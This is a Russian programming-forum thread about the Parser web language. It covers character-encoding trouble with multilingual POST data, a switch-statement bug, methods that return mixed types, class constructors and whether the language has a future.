%u0647%u064F%u0646%u064E%u0627%u0643%u0652%20%u0639%u064E%u0627%u0644%u064E%u0645%u0652%20%u062D%u064E%u064A%u0652%u062B%u064F%20%u062A%u064E%u0634%u0652%u0639%u064F%u0631%u0652%20%u0631%u064F%u0648%u062D%u0650%u064A%20%u0646%u064E%u0641%u0652%u0633%u064E%u0647%u064E%u0627%20%u0643%u064E%u0623%u064E%u0646%u0647%u0651%u064E%u0627%u064E%20%u0641%u0650%u064A%20%u0628%u064E%u064A%u0652%u062A%u0650%u0647%u064E%u0627...%u0648%u064E%20%u0647%u064E%u0630%u064E%u0627%20%u0627%u0644%u0652%u0639%u064E%u0627%u0644%u064E%u0645%u0652%20%u0647%u064F%u0648%u064E%20%u0639%u064E%u0627%u0644%u064E%u0645%u0652%20%u0639%u064F%u064A%u064F%u0648%u0646%u064E%u0643%u0652%20%u0627%u0644%u0652%u0645%u064F%u062A%u064E%u0623%u064E%u0645%u0651%u0650%u0644%u064E%u0629%20%u0641%u0650%u064A%20%u0627%u0644%u062A%u0651%u064E%u0641%u0652%u0643%u0650%u064A\
\
(1)\
\
Передаем через POST enctype=\"application/x-www-form-urlencoded\" используя \
encodeURIComponent(postdata) или encodeURI(postdata)\
\
$fp[$form:frompost]\
\
$readable[^string:unescape[js;$fp]] или $readable[^string:js-unescape[$fp]]\
\
в ответе отображается только латиница и крякозябры\
\
См. https://ibb.co/26wyGMB\
\
Теперь если мы насильно переведем страницу браузером в UNICODE кодировку, то выдача становиться нормальной, а все остальное (кириллицей) слетает.\
\
При этом содержимое передаваемых данных выглядит так:\
\
Немецкий\
\
Ich%20wei%C3%9F%20nicht%2C%20was%20soll%20es%20bedeuten%0ADa%CE%B2%20ich%20so%20traurig%20bin%3B%0AEin%20M%C3%A4rchen%20aus%20alten%20Zeiten%2C%0ADas%20kommt%20mir%20nicht%20aus%20dem%20Sinn.\
\
\
Иврит\
\
%D7%99%D7%95%D7%AA%D7%A8%20%D7%9C%D7%90%20%D7%90%D7%95%D7%95%D7%AA%D7%A8%20%D7%9C%D7%9A%20%D7%92%D7%9D%20%D7%9B%D7%A9%D7%94%D7%9C%D7%91%20%D7%9C%D7%90%20%D7%A4%D7%95%D7%92%D7%A2%0A%D7%9B%D6%BC%D6%B4%D7%9E%D7%A2%D6%B7%D7%98%20%D7%95%D7%9E%D6%B4%D7%A9%D7%AA%D6%B7%D7%92%D6%B5%D7%A2%D6%B7%2C%20%D7%90%D7%9D%20%D7%98%D7%95%D7%91%20%D7%9C%D7%9A%20%D7%91%D6%BC%D6%B4%D7%9C%D7%A2%D6%B8%D7%93%D6%B7%D7%99%0A%D7%90%D7%A0%D7%99%20%D7%9B%D7%91%D7%A8%20%D7%9C%D7%90%20%D7%99%D7%95%D7%93%D7%A2%0A%0A%D7%A2%D7%95%D7%93%20%D7%9E%D7%A2%D7%98%20%D7%95%D7%90%D7%AA%D7%9C%D6%B7%D7%9B%D7%9C%D6%B5%D7%9A%20%D7%91%D7%A9%D7%A7%D7%98%20%D7%A9%D7%99%D7%91%D7%95%D7%90%0A%D7%9E%D6%B0%D7%A7%D6%B7%D7%95%D7%95%D6%B6%D7%94%20%D7%A9%D7%98%D7%95%D7%91%20%D7%9C%D7%9A%2C%20%D7%98%D7%95%D7%91%20%D7%9C%D7%9A%20%D7%90%D7%99%D7%AA%D7%95%0A%0A%D7%99%D7%A9%20%D7%91%D7%9A%20%D7%9E%D7%94%20%D7%A9%D7%90%D7%99%D7%9F%20%D7%9C%D7%90%D7%A3%20%D7%90%D7%97%D7%93%20%D7%90%D7%97%D7%A8%D7%AA%0A%D7%9E%D7%95%D6%B9%D7%93%D6%B6%D7%94%20%D7%A9%D7%91%D7%9C%D6%B5%D7%99%D7%9C%D7%95%D6%B9%D7%AA%20%D7%9B%D7%A9%D7%90%D7%AA%20%D7%9C%D7%90%20%D7%A0%D7%A9%D7%90%D7%A8%D7%AA%0A%D7%A2%D6%B4%D7%99%D7%95%D7%95%D6%B5%D7%A8%20%D7%A2%D7%95%D7%93%20%D7%9E%D6%B0%D7%97%D6%B7%D7%A4%D6%BC%D6%B5%D7%A9%D7%82%20%D7%90%D7%AA%20%D7%94%D7%93%D6%B6%D7%A8%D6%B6%D7%9A%20%D7%9C%D6%B6%D7%90%D6%B1%D7%94%D7%95%D6%B9%D7%91%0A%D7%99%D7%95%D7%AA%D7%A8%20%D7%9B%D7%91%D7%A8%20%D7%9C%D7%90%20%D7%A9%D7%9C%D7%9D%2C%20%D7%94%D7%A9%D6%B6%D7%A7%D6%B6%D7%98%20%D7%A2%D7%95%D7%93%20%D7%A4%D6%BC%D7%95%D6%B9%D7%A6%D6%B5%D7%A2%D6%B7%0A%D7%91%D7%90%D7%94%D7%91%D7%94%20%D7%9E%D7%96%D7%9E%D7%9F%20%D7%90%D7%A0%D7%99%20%D7%9B%D7%91%D7%A8%20%D7%9C%D7%90%20%D7%A0%D7%95%D6%B9%D7%92%D6%B5%D7%A2%D6%B7%0A%D7%99%D7%95%D7%A4%D7%99%D7%99%D7%9A%20%D7%A2%D7%95%D7%93%20%D7%9E%D6%B4%D7%A6%D7%98%D6%B7%D7%99%D7%99%D6%B5%D7%A8%20%D7%A2%D7%9D%20%D7%A6%D7%A2%D7%93%D7%99%D7%99%D7%9A%20%D7%91%D7%93%D7%9E%D7%99%D7%95%D7%9F%0A%0A%D7%94%D7%90%D7%95%D7%A9%D7%A8%20%D7%9E%D7%AA%D7%A0%D7%92%D7%9F%20(%D0%B7%D0%B2%D1%83%D1%87%D0%B8%D1%82)%20%D7%9C%D7%9A%20%D7%95%D7%94%D7%91%D6%BC%D7%93%D6%B4%D7%99%D7%93%D7%95%D6%BC%D7%AA%20%D7%9E%D6%B0%D7%97%D6%B7%D7%91%D6%BC%D6%B5%D7%A7%D7%AA%0A%D7%90%D7%A3%20%D7%A4%D7%A2%D7%9D%20%D7%9C%D7%90%20%D7%A9%D7%95%D7%9B%D7%97%20%D7%9B%D7%A9%D7%98%D7%95%D7%91%20%D7%9C%D7%9A%20%D7%91%D7%9C%D7%A2%D7%93%D7%99%D7%99%0A%D7%90%D7%9C%20%D7%9E%D7%99%20%D7%90%D7%AA%20%D7%9E%D7%AA%D7%A7%D7%A8%D7%91%D7%AA%0A%0A%D7%A2%D7%95%D7%93%20%D7%9E%D7%A2%D7%98%20%D7%95%D7%90%D7%AA%D7%A8%D7%A1%D7%A7%20%D7%91%D7%A9%D7%A7%D7%98%20%D7%A9%D7%99%D7%91%D7%95%D7%90%0A%D7%9E%D7%A7%D7%95%D7%95%D7%94%20%D7%A9%D7%98%D7%95%D7%91%20%D7%9C%D7%9A%2C%20%D7%98%D7%95%D7%91%20%D7%9C%D7%9A%20%D7%90%D7%99%D7%AA%D7%95%0A\
\
Арабский\
\
\
%D9%87%D9%8F%D9%86%D9%8E%D8%A7%D9%83%D9%92%20%D8%B9%D9%8E%D8%A7%D9%84%D9%8E%D9%85%D9%92%20%D8%AD%D9%8E%D9%8A%D9%92%D8%AB%D9%8F%20%D8%AA%D9%8E%D8%B4%D9%92%D8%B9%D9%8F%D8%B1%D9%92%20%D8%B1%D9%8F%D9%88%D8%AD%D9%90%D9%8A%20%D9%86%D9%8E%D9%81%D9%92%D8%B3%D9%8E%D9%87%D9%8E%D8%A7%20%D9%83%D9%8E%D8%A3%D9%8E%D9%86%D9%87%D9%91%D9%8E%D8%A7%D9%8E%20%D9%81%D9%90%D9%8A%20%D8%A8%D9%8E%D9%8A%D9%92%D8%AA%D9%90%D9%87%D9%8E%D8%A7...%D9%88%D9%8E%20%D9%87%D9%8E%D8%B0%D9%8E%D8%A7%20%D8%A7%D9%84%D9%92%D8%B9%D9%8E%D8%A7%D9%84%D9%8E%D9%85%D9%92%20%D9%87%D9%8F%D9%88%D9%8E%20%D8%B9%D9%8E%D8%A7%D9%84%D9%8E%D9%85%D9%92%20%D8%B9%D9%8F%D9%8A%D9%8F%D9%88%D9%86%D9%8E%D9%83%D9%92%20%D8%A7%D9%84%D9%92%D9%85%D9%8F%D8%AA%D9%8E%D8%A3%D9%8E%D9%85%D9%91%D9%90%D9%84%D9%8E%D8%A9%20%D9%81%D9%90%D9%8A%20%D8%A7%D9%84%D8%AA%D9%91%D9%8E%D9%81%D9%92%D9%83%D9%90%D9%8A\
\
(3)\
Если передаем те же данные из JavaScripta’а  GET’ом (window.location.href = (NewURL+postdata);) то все нормально и с выдачей и с остальным содержимым страницы \
\
$fp[$request:query]\
\
$readable[^string:unescape[uri;$fp]]\
\
При этом содержимое передаваемых данных выглядит так:\
\
Немецкий\
\
Ich%20wei%26%23223%3B%20nicht,%20was%20soll%20es%20bedeutenDa%26%23946%3B%20ich%20so%20traurig%20bin;Ein%20M%26%23228%3Brchen%20aus%20alten%20Zeiten,Das%20kommt%20mir%20nicht%20aus%20dem%20Sinn.\
\
\
Иврит\
\
%26%231497%3B%26%231493%3B%26%231514%3B%26%231512%3B%20%26%231500%3B%26%231488%3B%20%26%231488%3B%26%231493%3B%26%231493%3B%26%231514%3B%26%231512%3B%20%26%231500%3B%26%231498%3B%20%26%231490%3B%26%231501%3B%20%26%231499%3B%26%231513%3B%26%231492%3B%26%231500%3B%26%231489%3B%20%26%231500%3B%26%231488%3B%20%26%231508%3B%26%231493%3B%26%231490%3B%26%231506%3B%26%231499%3B%26%231468%3B%26%231460%3B%26%231502%3B%26%231506%3B%26%231463%3B%26%231496%3B%20%26%231493%3B%26%231502%3B%26%231460%3B%26%231513%3B%26%231514%3B%26%231463%3B%26%231490%3B%26%231461%3B%26%231506%3B%26%231463%3B,%20%26%231488%3B%26%231501%3B%20%26%231496%3B%26%231493%3B%26%231489%3B%20%26%231500%3B%26%231498%3B%20%26%231489%3B%26%231468%3B%26%231460%3B%26%231500%3B%26%231506%3B%26%231464%3B%26%231491%3B%26%231463%3B%26%231497%3B%26%231488%3B%26%231504%3B%26%231497%3B%20%26%231499%3B%26%231489%3B%26%231512%3B%20%26%231500%3B%26%231488%3B%20%26%231497%3B%26%231493%3B%26%231491%3B%26%231506%3B%26%231506%3B%26%231493%3B%26%231491%3B%20%26%231502%3B%26%231506%3B%26%231496%3B%20%26%231493%3B%26%231488%3B%26%231514%3B%26%231500%3B%26%231463%3B%26%231499%3B%26%231500%3B%26%231461%3B%26%231498%3B%20%26%231489%3B%26%231513%3B%26%231511%3B%26%231496%3B%20%26%231513%3B%26%231497%3B%26%231489%3B%26%231493%3B%26%231488%3B%26%231502%3B%26%231456%3B%26%231511%3B%26%231463%3B%26%231493%3B%26%231493%3B%26%231462%3B%26%231492%3B%20%26%231513%3B%26%231496%3B%26%231493%3B%26%231489%3B%20%26%231500%3B%26%231498%3B,%20%26%231496%3B%26%231493%3B%26%231489%3B%20%26%231500%3B%26%231498%3B%20%26%231488%3B%26%231497%3B%26%231514%3B%26%231493%3B%26%231497%3B%26%231513%3B%20%26%231489%3B%26%231498%3B%20%26%231502%3B%26%231492%3B%20%26%231513%3B%26%231488%3B%26%231497%3B%26%231503%3B%20%26%231500%3B%26%231488%3B%26%231507%3B%20%26%231488%3B%26%231495%3B%26%231491%3B%20%26%231488%3B%26%231495%3B%26%231512%3B%26%231514%3B%26%231502%3B%26%231493%3B%26%231465%3B%26%231491%3B%26%231462%3B%26%231492%3B%20%26%231513%3B%26%231489%3B%26%231500%3B%26%231461%3B%26%231497%3B%26%231500%3B%26%231493%3B%26%231465%3B%26%231514%3B%20%26%231499%3B%26%231513%3B%26%231488%3B%26%231514%3B%20%26%231500%3B%26%231488%3B%20%26%231504%3B%26%231513%3B%26%231488%3B%26%231512%3B%26%231514%3B%26%231506%3B%26%231460%3B%26%231497%3B%26%231493%3B%26%231493%3B%26%231461%3B%26%231512%3B%20%26%231506%3B%26%231493%3B%26%231491%3B%20%26%231502%3B%26%231456%3B%26%231495%3B%26%231463%3B%26%231508%3B%26%231468%3B%26%231461%3B%26%231513%3B%26%231474%3B%20%26%231488%3B%26%231514%3B%20%26%231492%3B%26%231491%3B%26%231462%3B%26%231512%3B%26%231462%3B%26%231498%3B%20%26%231500%3B%26%231462%3B%26%231488%3B%26%231457%3B%26%231492%3B%26%231493%3B%26%231465%3B%26%231489%3B%26%231497%3B%26%231493%3B%26%231514%3B%26%231512%3B%20%26%231499%3B%26%231489%3B%26%231512%3B%20%26%231500%3B%26%231488%3B%20%26%231513%3B%26%231500%3B%26%231501%3B,%20%26%231492%3B%26%231513%3B%26%231462%3B%26%231511%3B%26%231462%3B%26%231496%3B%20%26%231506%3B%26%231493%3B%26%231491%3B%20%26%231508%3B%26%231468%3B%26%231493%3B%26%231465%3B%26%231510%3B%26%231461%3B%26%231506%3B%26%231463%3B%26%231489%3B%26%231488%3B%26%231492%3B%26%231489%3B%26%231492%3B%20%26%231502%3B%26%231494%3B%26%231502%3B%26%231503%3B%20%26%231488%3B%26%231504%3B%26%231497%3B%20%26%231499%3B%26%231489%3B%26%231512%3B%20%26%231500%3B%26%231488%3B%20%26%231504%3B%26%231493%3B%26%231465%3B%26%231490%3B%26%231461%3B%26%231506%3B%26%231463%3B%26%231497%3B%26%231493%3B%26%231508%3B%26%231497%3B%26%231497%3B%26%231498%3B%20%26%231506%3B%26%231493%3B%26%231491%3B%20%26%231502%3B%26%231460%3B%26%231510%3B%26%231496%3B%26%231463%3B%26%231497%3B%26%231497%3B%26%231461%3B%26%231512%3B%20%26%231506%3B%26%231501%3B%20%26%231510%3B%26%231506%3B%26%231491%3B%26%231497%3B%26%231497%3B%26%231498%3B%20%26%231489%3B%26%231491%3B%26%231502%3B%26%231497%3B%26%231493%3B%26%231503%3B%26%231492%3B%26%231488%3B%26%231493%3B%26%231513%3B%26%231512%3B%20%26%231502%3B%26%231514%3B%26%231504%3B%26%231490%3B%26%231503%3B%20(%E7%E2%F3%F7%E8%F2)%20%26%231500%3B%26%231498%3B%20%26%231493%3B%26%231492%3B%26%231489%3B%26%231468%3B%26%231491%3B%26%231460%3B%26%231497%3B%26%231491%3B%26%231493%3B%26%231468%3B%26%231514%3B%20%26%231502%3B%26%231456%3B%26%231495%3B%26%231463%3B%26%231489%3B%26%231468%3B%26%231461%3B%26%231511%3B%26%231514%3B%26%231488%3B%26%231507%3B%20%26%231508%3B%26%231506%3B%26%231501%3B%20%26%231500%3B%26%231488%3B%20%26%231513%3B%26%231493%3B%26%231499%3B%26%231495%3B%20%26%231499%3B%26%231513%3B%26%231496%3B%26%231493%3B%26%231489%3B%20%26%231500%3B%26%231498%3B%20%26%231489%3B%26%231500%3B%26%231506%3B%26%231491%3B%26%231497%3B%26%231497%3B%26%231488%3B%26%231500%3B%20%26%231502%3B%26%231497%3B%20%26%231488%3B%26%231514%3B%20%26%231502%3B%26%231514%3B%26%231511%3B%26%231512%3B%26%231489%3B%26%231514%3B%26%231506%3B%26%231493%3B%26%231491%3B%20%26%231502%3B%26%231506%3B%26%231496%3B%20%26%231493%3B%26%231488%3B%26%231514%3B%26%231512%3B%26%231505%3B%26%231511%3B%20%26%231489%3B%26%231513%3B%26%231511%3B%26%231496%3B%20%26%231513%3B%26%231497%3B%26%231489%3B%26%231493%3B%26%231488%3B%26%231502%3B%26%231511%3B%26%231493%3B%26%231493%3B%26%231492%3B%20%26%231513%3B%26%231496%3B%26%231493%3B%26%231489%3B%20%26%231500%3B%26%231498%3B,%20%26%231496%3B%26%231493%3B%26%231489%3B%20%26%231500%3B%26%231498%3B%20%26%231488%3B%26%231497%3B%26%231514%3B%26%231493%3B\
\
\
\
\
Арабский\
\
%26%231607%3B%26%231615%3B%26%231606%3B%26%231614%3B%26%231575%3B%26%231603%3B%26%231618%3B%20%26%231593%3B%26%231614%3B%26%231575%3B%26%231604%3B%26%231614%3B%26%231605%3B%26%231618%3B%20%26%231581%3B%26%231614%3B%26%231610%3B%26%231618%3B%26%231579%3B%26%231615%3B%20%26%231578%3B%26%231614%3B%26%231588%3B%26%231618%3B%26%231593%3B%26%231615%3B%26%231585%3B%26%231618%3B%20%26%231585%3B%26%231615%3B%26%231608%3B%26%231581%3B%26%231616%3B%26%231610%3B%20%26%231606%3B%26%231614%3B%26%231601%3B%26%231618%3B%26%231587%3B%26%231614%3B%26%231607%3B%26%231614%3B%26%231575%3B%20%26%231603%3B%26%231614%3B%26%231571%3B%26%231614%3B%26%231606%3B%26%231607%3B%26%231617%3B%26%231614%3B%26%231575%3B%26%231614%3B%20%26%231601%3B%26%231616%3B%26%231610%3B%20%26%231576%3B%26%231614%3B%26%231610%3B%26%231618%3B%26%231578%3B%26%231616%3B%26%231607%3B%26%231614%3B%26%231575%3B...%26%231608%3B%26%231614%3B%20%26%231607%3B%26%231614%3B%26%231584%3B%26%231614%3B%26%231575%3B%20%26%231575%3B%26%231604%3B%26%231618%3B%26%231593%3B%26%231614%3B%26%231575%3B%26%231604%3B%26%231614%3B%26%231605%3B%26%231618%3B%20%26%231607%3B%26%231615%3B%26%231608%3B%26%231614%3B%20%26%231593%3B%26%231614%3B%26%231575%3B%26%231604%3B%26%231614%3B%26%231605%3B%26%231618%3B%20%26%231593%3B%26%231615%3B%26%231610%3B%26%231615%3B%26%231608%3B%26%231606%3B%26%231614%3B%26%231603%3B%26%231618%3B%20%26%231575%3B%26%231604%3B%26%231618%3B%26%231605%3B%26%231615%3B%26%231578%3B%26%231614%3B%26%231571%3B%26%231614%3B%26%231605%3B%26%231617%3B%26%231616%3B%26%231604%3B%26%231614%3B%26%231577%3B%20%26%231601%3B%26%231616%3B%26%231610%3B%20%26%231575%3B%26%231604%3B%26%231578%3B%26%231617%3B%26%231614%3B%26%231601%3B%26%231618%3B%26%231603%3B%26%231616%3B%26%231610%3B\
\
\
Вот как бы все описал...\
\
Возникает вопрос, если ни как не решится проблема с POST выдачей... то может есть способ как конвертнуть postdata в кодировку GET запроса перед передачей всей строки в POST, чтобы получить выдачу аналогичную пункту (3)"
"85379","видимо разлогинило пока писал... благодарю!\
 \
UPD... текст походу не сохранился  в оригинале...\
ссылки на файлообменник:\
\
Арабский \
\
https://yadi.sk/d/9l4zyBuZRXKGtA\
\
Иврит \
\
https://yadi.sk/d/Xpx-nDgI8tNI_A\
\
Немецкий \
\
https://yadi.sk/d/m-qteivGx9RGhA"
"85380","Вам надо понять, какие запросы приходят из браузера на сервер. Для этого берете инструменты разработчика и через вкладку «Сеть» смотрите что куда ходит, какие http-запросы отправляет, какие заголовки, как кодирует и так далее и тому подобное. Приводить простыни чего-то закодированного и скриншоты не имеет большого смыла.\
\
Проверьте, что через обычную форму, без дополнительных обвязок на js, вы передаете и получаете на сервере и тоже получаете неправильно-закодированное. Если получаете правильное ,то проблема в обвязке.\
\
Если будет понятно, что есть проблема именно в Парсере (пока сомнительно), то выделите пожалуйста минимально возможный и воспроизводимый код — одну страничку (один файл) с htm+js и файл с кодом Парсера для серверной стороны (один файл) и покажите его.\
\
update: GZ показал пример в https://www.parser.ru/forum/?id=85381"
"85381","[code]@main[]\
^if(^request:headers.AJAX.bool(false)){\
	^ajax[]\
}{\
	^form[]\
}\
\
\
@form[]\
$text[Ich wei&#223^; nicht, was soll es bedeuten\
Da&#946^; ich so traurig bin^;\
Ein M&#228^;rchen aus alten Zeiten,\
Das kommt mir nicht aus dem Sinn.]\
\
\
<form id=\"form\" method=\"post\" action=\"\">\
	<textarea id=\"text\" name=\"text\" rows=\"4\" cols=\"40\">$text</textarea>\
</form>\
\
\
<h1>HTML native form</h1>\
<button form=\"form\" type=\"submit\">Send via HTML</button>\
\
^if($request:method eq 'POST'){\
	<p>^form:text.replace[^taint[^#0A];<br/>]</p>\
}\
\
\
<h1>JS submit (form-urlencoded)</h1>\
<button id=\"js-button-urlencoded\" type=\"button\">Send via JS</button>\
\
<p id=\"response-urlencoded\"></p>\
\
<script>\
	(function(){\
		var button = document.querySelector('#js-button-urlencoded');\
\
		button.addEventListener('click', function(){\
			var form   = document.querySelector('#form'),\
				text   = document.querySelector('#text').value,\
				result = document.querySelector('#response-urlencoded');\
\
			var data = 'text=' + encodeURIComponent(text);\
\
			fetch(window.location.href, {\
				method: 'POST',\
				headers: {\
					'ajax':         true,\
					'content-type': 'application/x-www-form-urlencoded;charset=UTF-8'\
				},\
				body: data\
			}).then(function(response){\
				return response.text();\
			}).then(function(text){\
				result.innerText = text;\
			});\
		});\
	})();\
</script>\
\
\
<h1>JS submit (multipart/form-data)</h1>\
<button id=\"js-button-multipart\" type=\"button\">Send via JS</button>\
\
<p id=\"response-multipart\"></p>\
\
<script>\
	(function(){\
		var button = document.querySelector('#js-button-multipart');\
\
		button.addEventListener('click', function(){\
			var form   = document.querySelector('#form'),\
				result = document.querySelector('#response-multipart');\
\
			fetch(window.location.href, {\
				method: 'POST',\
				headers: {\
					'ajax': true\
				},\
				body: new FormData(form)\
			}).then(function(response){\
				return response.text();\
			}).then(function(text){\
				result.innerText = text;\
			});\
		});\
	})();\
</script>\
\
\
@ajax[]\
$form:text[/code]\
\
Всё прекрасно отправляется обоими методами, никакого специального декодирования не требуется.\
\
Проверяйте свои методы отправки."
"85384","Привет. \
\
Имею класс, с такими двумя методами: \
[code]\
@mark[skill_id]\
#если в таблице assessmentresult есть значение q<>0, выводит $skillmark. Иначе \"Н/Д\".\
^if(^assessmentresult.locate[skill_id;$skill_id]){\
      ^if(def $assessmentresult.q && $assessmentresult.q!=0){\
      $skillmark($assessmentresult.sm/($assessmentresult.q*2)*100)\
      $skillmark(^skillmark.format[%.1f])\
      $skillmark\
      }{\
        Н/Д\
      }\
}{\
    Ошибка, невозможно посчитать оценку, неверный skill_id\
}\
\
\
@markcolor[mark]\
# в зависимости от оценки меняем значение CSS класса\
^switch($mark){ \
   ^case($mark>=0 && $mark<30){ \
		 $tdkcolor[w3-red]\
     } \
   ^case($mark>=30 && $mark<50){\
      $tdkcolor[w3-deep-orange]\
     }\
   ^case($mark>=50 && $mark<75 ){\
      $tdkcolor[w3-yellow]\
     }\
   ^case($mark>=75 && $lmark<90){\
      $tdkcolor[w3-light-green]\
     }\
   ^case($mark>=90){\
      $tdkcolor[w3-green]\
     }\
   ^case[DEFAULT]{\
     $tdkcolor[w3-white]\
     } \
}\
$tdkcolor[/code]\
\
Вызываю на странице так:\
[code]\
<span class=\"^asres.markcolor[^asres.mark[$skill_id]]\">\
[/code]\
\
 выдает ошибку: ' Н/Д ' invalid number (double) ссылаясь на медот @markcolor[mark]\
Но, когда в методе добавляю проверку:\
[code]\
^if($mark is double || $mark is int){^switch...}{$tdkcolor[w3-white]}\
[/code]\
тогда эту проверку не проходят даже числовые значения и $tdkcolor равен w3-white.\
\
Помогите понять, в чем моя ошибка?"
"85385","в начало метода вставил:\
\
$mark(^mark.double(-100)) - все заработало.\
\
Но все равно интересно, почему числовые значения идентифицировал как строки?"
"85386","[code]  ^switch($mark){ \
    ^case($mark>=0 && $mark<30){ \
      $tdkcolor[w3-red]\
      } \
    ^case($mark>=30 && $mark<50){\
        $tdkcolor[w3-deep-orange]\
      }\
    ^case($mark>=50 && $mark<75){\
        $tdkcolor[w3-yellow]\
      }\
    ^case($mark>=75 && $mark<90){\
        $tdkcolor[w3-light-green]\
      }\
    ^case($mark>=90){\
        $tdkcolor[w3-green]\
      }\
    ^case[DEFAULT]{\
      $tdkcolor[w3-white]\
        } $mark\
  }[/code]\
Когда $mark==0 этот код почему то возвращает значение \"w3-deep-orange\" вместо \"w3-red\". С остальными значаниями - все ок. Как так?"
"85387","[quote]Как так?[/quote]\
\
Причина в\
[code]^switch($mark){[/code]\
\
Вы сравниваете число с булевым значением.\
При [i]$mark[/i] равным нулю, выбранной веткой [i]switch[/i]'а будет первая, вернувшая [i]false[/i].\
\
Правильно так:\
[code]^switch(true){\
	^case($mark >= 0 && $mark < 30){\
		$tdkcolor[w3-red]\
	}\
	^case($mark >= 30 && $mark < 50){\
		$tdkcolor[w3-deep-orange]\
	}\
	^case($mark >= 50 && $mark < 75){\
		$tdkcolor[w3-yellow]\
	}\
	^case($mark >= 75 && $mark < 90){\
		$tdkcolor[w3-light-green]\
	}\
	^case($mark >= 90){\
		$tdkcolor[w3-green]\
	}\
	^case[DEFAULT]{\
		$tdkcolor[w3-white]\
	}\
}[/code]"
"85388","[code]^asres.markcolor[^asres.mark[$skill_id]][/code]\
\
Метод [i]@mark[/i] возвращает строки.\
При этом строка может содержать только число и тогда ошибки не будет, так и буквы («не цифры») — у вас там три варианта, и число в виде строки возвращается только в первом из них.\
\
Соответственно, если [i]@mark[/i] вернул строку «с буквами», то в [i]@markcolor[/i] в [i]expression[/i] [i]switch[/i]'а попадёт строка, не приводимая к числу.\
На это Парсер и ругается.\
\
Пример:\
[code]\
# ошибки нет\
$string[1]\
$bool($string >= 0)\
\
# ошибка есть — invalid number (double) test\
$string[test]\
$bool($string >= 0)\
[/code]"
"85389","Наверное прозвучит бредово, но: если ли способ, чтобы метод \"выводил одно, а возвращал другое\"? Что я имею ввиду — метод @mark возвращает либо число либо строки \"Н/Д\" и \"Ошибка\".\
\
Впоследствии мне нужно, каким бы ни было значение - его выводить на экран и еще добавить знак \"%\". И на некоторых экранах, если это число, запускать метод @markcolor чтобы закрасить кнопку в нужный цвет. \
\
Раньше у меня это было реализовано процедурно так:\
[code]\
^if(def $marktable.cnt && $marktable.cnt!=0){\
$skillmark($marktable.sum/($marktable.cnt*2)*100)\
#теперь, если есть переменная $skillmark я ее расскрашиваю\
^switch($skillmark){...} \
}\
#вывожу значение переменной с знаком % и с раскрашеной ячейкой\
<td class=\"$tdkcolor\">\
^skillmark.format[%.1f] %\
   </td>\
}{\
#...или вывожу нерасрашенное Н/Д\
<td> Н/Д </td>\
}\
}{\
<td> Ошибка  </td>\
} \
[/code]\
\
Но так, как выводить нужно было не всегда в таблицу, не всегда нужен знак процента в конце и не всегда нужно расскрашивать — было много дублей кода. Поэтому создал класс с двумя методами. \
\
Но если рашьше, у меня либо была переменная $skillmark - и тогда я уже запускал расскраску и добавлял %. Либо ее не было, и я просто выводил \"Н/Д\".\
\
Сейчас же результат метода мне отдает результат в любом случае."
"85390","Недавно показал пару своих проектов реализованных на Парсере знакомому программисту. Этот чеовек работает в команде, у них там распределение на сеньйоров, джуниоров; скрам и эджайл и прочие новомодные слова.\
\
Он посмелся и, говорит, вообще бесперспективно все. Раскритиковал в основном за отсутствие фреймворков и  неудобности разделения кода на составляющие MVC. \
\
Как на самом деле обстоят дела? Какие перспективы? Есть ли работодатели, которым нуждны Парсер-программисты?"
"85391","Если число, выводим с %, иначе выводим как есть:\
\
[code]@format[v]\
^if(^v.double(-1)>=0){^v.format[%.1f] %}{$v}\
[/code]"
"85392","Пишите спокойно свои проекты и не берите в голову глупости, которые высказывают другие."
"85393","Отделите логику от отображения.\
\
Одни методы занимаются поиском, другие — оценкой, третьи — разметкой.\
Сначала сформируйте набор данных, затем выводите его в виде HTML.\
\
Старайтесь возвращать в методе один тип данных или хотя бы приводимые друг в друга типы.\
\
И не ленитесь форматировать код, иначе даже вы не сможете прочесть его через пару недель."
"85394","Через два года Парсеру 3 будет 20 лет.\
Неоднократно поднимался вопрос некоей «перспективности».\
Неоднократно «настоящие программисты» пытались доминировать насмешками, а язык живёт, развивается и используется как в проектах Студии, так и сторонними разработчиками.\
\
[quote]Недавно показал пару своих проектов реализованных на Парсере знакомому программисту. Этот чеовек работает в команде, у них там распределение на сеньйоров, джуниоров; скрам и эджайл и прочие новомодные слова.[/quote]\
\
Новомодные слова — большое дело, именно слова и методологии делают из разработчиков настоящих специалистов!\
\
[quote]Он посмелся и, говорит, вообще бесперспективно все. Раскритиковал в основном за отсутствие фреймворков и неудобности разделения кода на составляющие MVC.[/quote]\
\
Фреймворки [url=https://github.com/unhandled-exception/pf2]есть[/url], вы можете поучаствовать в их развитии или написать, выложить и поддерживать свой.\
\
MVC — это паттерн разработки ПО, было бы странно закладывать его в язык.\
Писать винегретом или разделять код можно на любом языке.\
\
Быть может, дело не в языке, а в вашем коде?\
\
[quote]Как на самом деле обстоят дела? Какие перспективы? Есть ли работодатели, которым нуждны Парсер-программисты?[/quote]\
\
Скажем прямо — в очередь за вами не выстроятся.\
Язык нишевый, с достоинствами и недостатками этого.\
\
Прыгать из компании в компании, следуя за модой не получится.\
Но это никак не мешает использовать его в реализации своих проектов.\
\
Так что, зависит от того какие перспективы требуются.\
\
Хотите моды и новизны — идите в JavaScript: там каждый месяц новый модный фреймворк, каждые полгода — новый синтаксис, только успевай код переписывать.\
И с каждым фреймворком язык вырождается в монстра, а разработчики в пусконаладчиков этих фреймворков."
"85395","Хочу удостовериться верно ли я понял — первый метод после объявления класса (кроме вариантов с наследованием) - это его конструктор?\
\
Нашел на форуме инфо, что конструктор может быть пустым. Целесообразно ли так делать и если да, то в каких случаях? (хочу создать класс где все методы - разные запросы с БД)\
например:\
\
[code]\
@CLASS\
database\
\
@create[]\
#\
\
@users_by_boss[boss_id]\
^MAIN:dbconnect{\
    $users[^table::sql{SELECT * FROM users WHERE boss_id = $boss_id}]\
}\
\
@something_by_smth[smth1;smth2]\
^MAIN:dbconnect{\
    $smthn[^table::sql{SELECT * FROM some_table WHERE param = $smth1 AND param2 = $smth2}]\
}\
[/code]"
"85396","Не важно как он называется и каким по счёту идёт в файле.\
Важно, что он вызывается динамически у класса."
"85397","... исключительно для того, чтобы \"включить класс\"?"
"85398","Это метод для создания объекта класса.\
\
Если объект не хранит состояния и данных, то будет достаточно статических вызовов методов класса.\
\
[url=https://www.parser.ru/docs/lang/obj.htm]Объект класса[/url]\
\
Условный пример объекта, хранящего контекст:\
[code]@CLASS\
db\
\
@create[prefix]\
$self.prefix[$prefix]\
\
@users[]\
$result[^table::sql{SELECT * FROM ${self.prefix}users}]\
\
…\
\
$db[^db::create[my_prefix_]]\
$users[^db.users[]]\
[/code]"
